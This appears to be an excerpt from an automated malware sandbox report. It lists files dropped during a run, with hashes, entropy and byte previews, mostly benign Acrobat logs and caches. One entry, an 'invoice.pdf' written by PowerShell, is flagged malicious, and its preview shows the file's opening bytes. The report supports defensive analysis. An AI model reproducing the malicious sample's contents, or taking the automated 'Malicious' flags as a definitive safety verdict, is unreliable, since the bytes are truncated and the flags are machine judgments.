SHA-512:	D276712169127A3BF0CFD1A70ABC53FEBDF3BC130358DFC40F52186075665BB19E9061C4A29CD2D796368A33580D3F6E219B8440F8E710A4A1CA2F390D79A390
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8417591412899552
Encrypted:	false
SSDEEP:	24:7+tgZ6bqyKn6ylSTofcNqDuma+KdqEKfS8EKfM1banbqTvqLKufx/XYKQvGJF7uq:7MOcKTlS8fcsunfI2vqGufl2GL7msT
MD5:	EE614286FB65E6FA464ADA75C259E39B
SHA1:	415848E68FBE52884F84DCF1A0E8E39270DE2055
SHA-256:	3284CCC267AFDF980B862CF66E9A67A7B7E9353A0AAF761D662D697C0ECBCAEF
SHA-512:	D8D640DBA2DC522D0B8D6BBFA6495595405A761DB19757CEA5A424AF6D393249B834F6F767D53A152F9AFA6F96B468C121728D15419EDB22B91D195EEB9C3699
Malicious:	false
Preview:	.... .c......TT...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgHsTFN2/qFONFwWkT2LM7bEYyu:6a6TZ44ADEHsJN2/WOLw2K
MD5:	575C673AF17EC95983B9D33376C20261
SHA1:	6BEF2C095826D34EE740D9D9E94C4D04C065A9F9
SHA-256:	E4D2F8900515224ADFE43254D7E05DF1F9237576A0B08A44A233603E2633FAF1
SHA-512:	F164C2D5E6C0A6908DE10C350E597059B80F46994F2C664EF7A0BA9E4ECA5ACC76DBBC6EBED7959A20CE2433591F64616497D9ABCD7BBA8E5A10328A2735F897
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulFuPh:NllUUP
MD5:	CC47C65E9D7FF52BEBF356F8F22FCCF9
SHA1:	25AC4580D6C84DB6F2675161368A5B89A48AB692
SHA-256:	CB1B97C689468D47FCDB7116ACBBEE0A8AC183F9C27517ABC376E57EC666C8D3
SHA-512:	882F88AF5A2C636C9949E24056105407E8C007643B49452EED7397B338AAC859B457F72901900A545B5474258CA15411158CEF34ABB512494C188843349AE601
Malicious:	false
Preview:	@...e.................................T.:............@..........

C:\Users\user\AppData\Local\Temp\MSIa15c0.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5020010357239357
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCls37:Qw946cPbiOxDlbYnuRK+bl
MD5:	F0A0F09D264932D9FF7AD40F9F34164D
SHA1:	6E7180C699C80EC4185C6D70A6FB4E2EB5F4AC25
SHA-256:	CDC36D98E84D7821762BF0C1F28800632404B884B81CDA6DD33D2879233BFC37
SHA-512:	3C556A1427C4D79ADA6E4AAB3CC54BE94C12AAD56FBCF9E629B3EE4C4D7E14A5FA78065140B0728B57A6496832E31232995795E4C04104FBFB6B83AA42DC2518
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.3.1.:.2.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_osmxe3lj.ehd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yflh4j1d.sgy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91vxnv04_anpni7_61s.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9wyo64s_anpni4_61s.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-31-18-392.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.365324519245058
Encrypted:	false
SSDEEP:	384:pKuPnjCqyGlNse83iy3SLR7WORKaOvrUmRcwSGS/qBYk+b7Yqj8l7+76nk6FBYI/:zSh
MD5:	6E3752FF5A624FF640733EB6E8197C41
SHA1:	E50FDE5C24A9C82FB0D7F87807638F54935E5DB1
SHA-256:	80827DED4BF410C5835E297A2C5A1503B40CBC860E8A85F9283363CEA63265D3
SHA-512:	77AE54E1B5F0A4438705CF54CC066BA98E1000033E86A7002586804AF2EF30969D7069DE2F26DF0025645C093AB2C38056B967F061D55BAC2E959F4C8014F817
Malicious:	false
Preview:	SessionID=9074d743-da6e-4844-8bbf-2fbe7aad5be5.1736562678403 Timestamp=2025-01-10T21:31:18:403-0500 ThreadID=3556 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=9074d743-da6e-4844-8bbf-2fbe7aad5be5.1736562678403 Timestamp=2025-01-10T21:31:18:404-0500 ThreadID=3556 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=9074d743-da6e-4844-8bbf-2fbe7aad5be5.1736562678403 Timestamp=2025-01-10T21:31:18:404-0500 ThreadID=3556 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=9074d743-da6e-4844-8bbf-2fbe7aad5be5.1736562678403 Timestamp=2025-01-10T21:31:18:404-0500 ThreadID=3556 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=9074d743-da6e-4844-8bbf-2fbe7aad5be5.1736562678403 Timestamp=2025-01-10T21:31:18:405-0500 ThreadID=3556 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.385503351035589
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmUecbzwIZAgpcbZ:8qnXopZ50rwPtZAg2
MD5:	1EB6CB44DFAB02C10DDD4D36A85238C0
SHA1:	4A7069FEE4ACA53A1883C055A3AC6E5606EE2727
SHA-256:	B8D502799FE0D1805A9980F0397589643630D8A73FEE89365D3AF8F7D02A71B2
SHA-512:	06B7D54872C09D408AB505809F2325308242BE804B0DEE6B84E2ED1147DD0AE3641C0DCFB4652527CE872B5D1EEFA0D8709E9C13DFB96E64A0423A0A1012A8C3
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\42d551e9-ca7a-4d6f-a519-220d2547c6e6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\6ef0d14c-f8dd-4ffe-bda7-aed7da468a70.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e9fe8edf-47b5-4adc-a407-7f7935f7dd70.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f68c1fcb-143e-4606-96a2-891efcbd6573.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
